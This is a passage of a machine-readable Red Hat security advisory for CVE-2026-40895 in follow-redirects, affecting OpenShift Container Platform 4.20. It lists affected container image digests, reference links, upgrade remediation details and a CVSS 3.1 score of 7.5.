"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "RHBZ#2460297",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460297"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
}
],
"release_date": "2026-04-21T19:59:59.759000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
